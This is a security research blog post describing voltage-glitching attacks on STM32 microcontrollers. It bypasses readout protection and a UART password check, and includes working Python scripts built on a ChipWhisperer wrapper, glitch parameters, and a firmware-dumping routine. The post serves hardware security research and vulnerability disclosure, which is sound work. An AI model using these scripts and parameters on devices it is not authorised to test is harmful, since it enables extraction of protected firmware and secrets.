SECGlitcher (Part 1) - Reproducible Voltage Glitching on STM32 Microcontrollers

Attacking the STM32 Series

The STM32 series are 32-bit microcontrollers based on the Arm Cortex-M processor and are widely used in embedded systems. Different variants are suitable for low-power as well as for high-performance operations. One of its security options is the so-called Readout Protection (RDP) . The STM32 offers three different levels:

RDP Level 0: No protection

• Full debugging is allowed
• Full access while in system bootloader

RDP Level 1: Read protection

• Access (read, erase, program) to Flash memory is forbidden while debugging
• Other memories such as the bootloader memory can be accessed via JTAG
• Access (read, erase, program) to any memory is forbidden while in system bootloader
• Everything else can be read, e.g. RAM and registers
• Reset to RDP level 0 erases whole Flash memory

RDP Level 2: Read & debug protection

• Debugging is forbidden by disabling the JTAG and SWD interfaces
• Starting system bootloader is forbidden
• Reset to RDP Level 0/1 is not possible

To read the Flash memory on RDP2 locked devices, two protection levels must be circumvented.

RDP2 Downgrade to RDP1

On boot, the RDP register value is checked. A specific value has to be set for RDP2 (0xCC) and RDP0 (0xAA), all other values default to RDP1 (however, often 0xBB or 0x55 is set). Therefore, if the read operation on the RDP register reads a wrong value (due to a voltage glitch), the device will think it's in RDP level 1. Thus, debug interfaces and the bootloader will become accessible.

RDP1 Memory Reading

The internal system bootloader is available with RDP level 1 and provides a "Read Memory" operation which reads 256 bytes from a user-supplied memory address. However, this operation is not allowed in RDP1. This is ensured by the microcontroller checking the RDP state before every read operation. If this check is tampered with (by a voltage glitch), it will be skipped and 256 bytes of memory read. By glitching the read command repeatedly, 256 byte firmware chunks can be read and reassembled into a complete firmware dump. 

SECGlitcher

During the last years, much work was done on Voltage Glitching attacks, as already described in the introduction above. However, we noticed that recreating glitches can be hard, mostly due to the usage of custom hardware and often unpublished glitching parameters and setups. Therefore, we took a structured approach which can hopefully be extended in the future on other chips and boards:

We created the SECGlitcher, which is based on the well-established ChipWhisperer API, but is easier to use for default use cases such as UART or GPIO triggers.

Features

We developed the SECGlitcher as we noted, that glitching scripts across all boards are always structured similar. So why not create a simple class that wraps all of the init commands and also gathers the results? This results in smaller, clearly structured scripts that can be easily compared across different boards and chips. 

Reproduce glitches with parameters: During our glitching experiments, we were always struggling with the same question: What do we use as initial search parameters? Depending on how closely we guess the glitch duration as well as trigger offset, we can find valid glitches after minutes. However, if our estimate is way off, we will take days to discover interesting glitching ranges. Thus, we decided to include a database in the SECGlitcher, which contains valid glitch width settings that we have discovered previously for each MCU. Hence, your valid parameters shouldn't be off too far (of course this also depends on the used board and capacitance of the power rail). 

Easy headless usage: The use of Jupyter notebooks as featured by the ChipWhisperer may be great for some initial experiments, however, for conducting glitching tests in an efficient and scalable manner, we needed a solution that can be conveniently controlled remotely, e.g., is able to run on a (headless) server. Therefore, the SECGlitcher class is built to be used in command-line only scripts (though we implemented some interactive elements, just in case you want to showcase some stuff).

Convenient data aggregation: The need for fault-proof and convenient data aggregation comes right after the previous feature. To prevent data loss, data can not only be printed out to the console but can also be saved as CSV file. These CSV files, created from one or multiple glitching attempts, can subsequently be aggregated and visualized by a provided helper script. With this, it is possible to show potential valid glitching parameters of multiple (partial) tries.

Easy setup: An easy setup is important to keep the entry barrier low, luckily, using the SECGlitcher class is simple: Create a new virtual environment and install the chipwhisperer as well as some other required packages with PIP. That's it.

Setting up the Glitch

When glitching a different board, there are multiple things to consider in the ChipWhisperer configuration. The ChipWhisperer always has to be clocked, as we do not have access to the target internal clock, we just select a high frequency that the ChipWhisperer can generate on its own. However, we will not be synchronized to the target's clock. Hence, we cannot control if we glitch at the beginning of the target's instruction execution or at the end of it.

The next important metric is the glitch width. This is the time for which the power rail is shorted to ground. It will be measured in clock cycles of the ChipWhisperer. This is one of the most important glitch characteristics. If its chosen too small, the voltage will not drop far enough and the chip's operation is not affected. If it's chosen too high, the chip will be reset and restart its operation from the first instruction. A proper glitch, were the MCU is not reset, but also does not operate properly is right in the middle of these two values. The second parameter is the glitch offset. This parameter will wait for a trigger (e.g. a pin state changing or a certain byte being received over UART) and then wait for a set amount of ChipWhisperer clock cycles before inserting the glitch. Thus, this parameter can be used to time the glitch with the instruction or register load that we want to affect. 

As you can tell, it is a very tedious task to identify these parameters for a blackbox board and chip. This is why we created the SECGlitcher. The script comes with a YAML configuration file where we store all valid glitching widths that we discovered for a certain board. This way, we can reuse old settings and improve the search range for valid parameters. We included the offset for some demo applications. However, this parameter cannot be estimated beforehand, as it changes for each program (unless you have access to the compiled code, then of course you could count instruction cycles from the trigger and estimate how many ChipWhisperer cycles would equal this case). In order to give us the most precision in our scanning, we run the ChipWhisperer's clock at 100MHz.

The SECGlitcher is setup as a abstract class that you have to overload. Some function are already implemented, while others have to be written from scratch. We will now show an example for a simple password check glitch on the Nucleo STM23L073RZ board. The target is running following example code:

Target MCU code

HAL_Init();
SystemClock_Config();
MX_GPIO_Init();
MX_USART2_UART_Init();
 
char set_pw[] = "mysupersecurepassword";
char check_pw[128];
int check_ok = false;
 
char s1[] = "Init successful\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s1, sizeof(s1), HAL_MAX_DELAY);
 
while (!check_ok) {
  char s2[] = "Please enter password:\n";
  HAL_UART_Transmit(&huart2, (uint8_t*)s2, sizeof(s2), HAL_MAX_DELAY);
   
  int i = 0;
  volatile char c = '\0';
  while (c != '\n' && c != '\r' && i < 127) {
    HAL_UART_Receive(&huart2, (uint8_t*)&c, 1, HAL_MAX_DELAY);
    HAL_UART_Transmit(&huart2, (uint8_t*)&c, 1, HAL_MAX_DELAY);
    if (c == '\n' || c == '\r') {
      check_pw[i] = '\0';
    } else {
      check_pw[i] = c;
    }
    i++;
  }
  check_pw[127] = '\0';
 
  if (strcmp(set_pw, check_pw) == 0) {
    check_ok = true;
  }
}
  
HAL_GPIO_TogglePin(LD2_GPIO_Port, LD2_Pin);
 
char s3[] = "Welcome!\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s3, sizeof(s3), HAL_MAX_DELAY);
char s4[] = "This is your secret: supersecretstring\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s4, sizeof(s4), HAL_MAX_DELAY);

As we have previously searched for valid glitching parameters on this board, they are already included in the configuration file.

stm32l073:
  pw: [27, 29, 150, 159]

Subsequently, a glitching script can be created using the SECGlitcher as follows:

class MyGlitcher(SECGlitcher):
    def __init__(self, reset_pin='nrst', interactive=False):
        super().__init__(reset_pin)
        self.interactive = interactive
        self.uart = None
 
    def dut_check_init(self):
        log = self.uart.read_until("password:")
        if log.endswith(b"password:\n\x00"):
            return True
        else:
            print("Boot failed!")
            self.scope.io.nrst = "low"
            time.sleep(1)
            return False
 
    def check_glitch(self):
        check = self.uart.readline()
        if b"elcome" in check or b"secret" in check:
            self.add_success()
            print("Glitch successful: Width: {}, Offset: {}".format(*self.success_params[-1]))
            if self.interactive:
                print("Press ENTER to continue")
                input()
        else:
            pass
 
    def dut_uart_init_before_reset(self):
        self.uart = serial.Serial('/dev/ttyACM0', 115200, timeout=0.1)
 
    def dut_uart_write(self):
        self.uart.write(b"\r\n")
 
 
glitcher = MyGlitcher(interactive=True)
glitcher.trigger_setup(trigger='uart', uart_pattern=['\r'])
glitcher.print_config()
glitcher.run(target="stm32l073", app="pw")
glitcher.exit()
glitcher.print_results()
glitcher.save_results()
glitcher.plot_results()

RDP1 Memory Reading

After downgrading the RDP level to 1, we can glitch the memory read command in the now accessible bootloader. STM describes how to enable the bootloader in AN2606. We plan on using the UART bootloader on an STM32F429ZI Nucleo board. According to the application note, this means that we can use USART3 or USART1  with 115200 8E1 configuration. Further, the "Boot0" pin needs to be pulled high in order to activate the bootloader. Luckily, this pin as well as PB10/11 for USART3 are exposed on the Nucleo header. AN3155 now describes the actual used protocol. For clarity, we will omit the needed checksum in the following description. An extensive description of the internal bootloader process can be found in the appendix.

To activate the bootloader, the activation command (0x7F) must be sent. After that, we can use the GET_ID command (0x02) to check for proper activation, which should return an ACK (0x79) and the PID (here 0x429). Knowing that we properly activated the bootloader, we can now execute the interesting READ_MEMORY command (0x11) which must be followed by four address bytes (e.g., 0x80000000) and the number of bytes to be read (0xFF), each one acknowledged by receiving ACK (0x79).

Using our SECGlitcher, the dumping script is fairly easy. We evaluated, that the bootloader glitches with a glitch width between 23 and 24. The offset of our trigger byte (the UART transmission of 0x11) equals 9050 to 9150 cycles. This is now implemented as "bl_mem" configuration of our glitcher.

glitch_bootloader_to_download.py

from SECGlitcher import SECGlitcher
import time
import signal
import hexdump
from spd3303x import SPD3303X
from stm32bootloader import STM32SerialBootloader
 
 
def power_cycle():
    with SPD3303X.ethernet_device("x.x.x.x") as dev:
        dev.CH1.set_output(False)
        time.sleep(0.1)
        dev.CH1.set_output(True)
        time.sleep(0.5)
 
 
def int_handler(signum, frame):
    global glitcher
    glitcher.exit()
    glitcher.print_results()
    glitcher.save_results()
 
 
signal.signal(signal.SIGINT, int_handler)
 
 
class MyGlitcher(SECGlitcher):
    def __init__(self, dump_addr, dump_len, dump_filename, reset_pin='nrst'):
        super().__init__(reset_pin)
        self.current_dump_addr = dump_addr
        self.current_dump_len = dump_len
        self.dump_filename = dump_filename
        self.uart = None
 
    def dut_uart_init_before_reset(self):
        time.sleep(0.1)
 
    def dut_uart_init_after_reset(self):
        time.sleep(0.1)
        try:
            self.uart = STM32SerialBootloader("/dev/ttyACM1", baud=115200)
            self.uart.cmd_get_id()
        except ValueError:
            print("Bootloader not Activated properly! Something is wrong!")
            self.scope.io.nrst = "low"
            power_cycle()
            time.sleep(0.1)
            return False
        print("Bootloader available")
        return True
 
    def dut_uart_write(self):
        self.uart.cmd_read_memory_part1()
        print("Using width: {} Offset: {} Success: {}".format(self.current_width, self.current_offset, len(self.success_params)))
 
    def check_glitch(self):
        state = self.uart.cmd_read_memory_part2()
        if state == 0:
            try:
                len_to_dump = 256 if (self.current_dump_len // 256) else self.current_dump_len % 256
                data = self.uart.cmd_read_memory_part3(self.current_dump_addr, len_to_dump)
                #print(data)
                if len(data) == len_to_dump:
                    if data != b"\x79" * len_to_dump:
                        with open(self.dump_filename, 'ab+') as f:
                            f.write(data)
                        self.current_dump_addr += len_to_dump
                        self.current_dump_len -= len_to_dump
                        print("Dumped using width: {} offset: {} success: {}".format(self.current_width,
                                                                                     self.current_offset,
                                                                                     len(self.success_params)))
                        print("Dumped 0x{:x} bytes from addr 0x{:x}, {:x} bytes left".format(len_to_dump,
                                                                                             self.current_dump_addr,
                                                                                             self.current_dump_len))
                else:
                    print("Missing some data, but got")
                    hexdump.hexdump(data)
                self.add_success()
            except Exception as e:
                print(e)
                print("Nothing read")
 
 
glitcher = MyGlitcher(0x0800_0000, 0x200000, dump_filename="dumped_firmware.bin")
glitcher.trigger_setup(trigger='uart', parity='even', uart_pattern=[0x11])
glitcher.print_config()
 
power_cycle()
while glitcher.current_dump_len > 0:
    glitcher.run(target="stm32f429", app="bl_mem")
 
glitcher.exit()
glitcher.print_results()
glitcher.save_results()
glitcher.plot_results()

Conclusion

At the beginning of this project, we decided it would be fun to glitch some STM32 microcontrollers, as we would encounter them frequently in all sorts of IoT devices. We would have never imagined how far down the rabbit hole we would have to go. 

During our initial research of papers about STM32 glitching, we found some other companies that pulled it off before. However, nobody was posting their parameters or details about the how. That's why we decided to create the SECGlitcher class. It's supposed to store rough timing areas for boards and MCUs, so that only a small space has to be searched. Further, it handles initialization and some generic trigger setups to keep the code base small and tidy.  Using our class, we were able to showcase some successful glitches, including the skipping of a password check via a UART command line and reading memory via the bootloader of an locked STM32. 

However, we also ran into some unexpected obstacles, that no one else mentioned in their blogposts or papers yet. We are unsure, if this behavior is solely due to the choice of STM32 model. While this behavior slows down the process of extracting the whole flash of an STM32, it does not change the underlying vulnerability. We are still able to read all contents from a locked device. 

With our experiments we were able to show that the STM32 series of microcontrollers must be seen as insecure, even if readout protection measures are active. An attacker is able to skip instructions and thus bypass checks, which can be turned into a leak of the full firmware. The SECGlitcher class significantly improved the usability of glitching attacks in our day to day projects, as it is faster and simpler to setup and improves results.

Stay tuned for part two of our glitching series, where we will glitch a STM32 from RDP2 to RDP1 and then dump its contents. 

Appendix: Setting Even Parity for UART on ChipWhisperer (Tech Deep Dive)

The STM32 bootloader uses UART communication with an even parity bit, as described in the AN3155 Application Note. This turned out to be a major challenge for using the ChipWhisperer for this work, as the ChipWhisperer does not officially support any parity bit for its UART interface. This was also recently mentioned in a article by the creator of the ChipWhisperer, Colin O'Flynn itself, where he noted that "custom bitstream for the ChipWhisperer-Pro is needed due to the even parity requirement of the bootloader". Our work started before this article was published, and back then we found a different solution to this problem. It is true that the ChipWhisperer does not officially support parity bits, however, at least even parity is supported in the FPGA implementation since April 2021. So there was no need for a custom bitstream for us. We only had to find out how to use it.

The corresponding Github issue from April 2021 shows that some UART configuration registers were exposed to the interface to be used by Python. The UART implementation "targ_async_receiver" is instantiated in the "reg_decodeiotrigger" line 198, where the IO registers are parsed. Here, byte 2 of "reg_trig_cfg" is set as "module_specific", and the "even_parity" bit turned out to be the first bit of this byte. Therefore, we are happy to present you the solution to set the even parity bit mode on the ChipWhisperer UART below, where the even parity bit gets set.

CODE_READ = 0x80
CODE_WRITE = 0xC0
ADDR_DECODECFG = 57
ADDR_DECODEDATA = 58
data = self.scope.decode_IO.oa.sendMessage(CODE_READ, ADDR_DECODECFG, Validate=False, maxResp=8)
data[1] = data[1] | 0x01
self.scope.decode_IO.oa.sendMessage(CODE_WRITE, ADDR_DECODECFG, data)

This code is also implemented in the SECGlitcher class.

In order to prepare for glitching the target, we first need to implement the protocol described above for some STM32 bootloader commands. The resulting class implements various "cmd_read_memory_partX" functions that can now be used for glitching, they split the command into an init, evaluation and then dumping phase based on the flow we analyzed above. 

This research has been performed by Gerhard Hechenberger and Steffen Robertz and published on behalf of the SEC Consult Vulnerability Lab.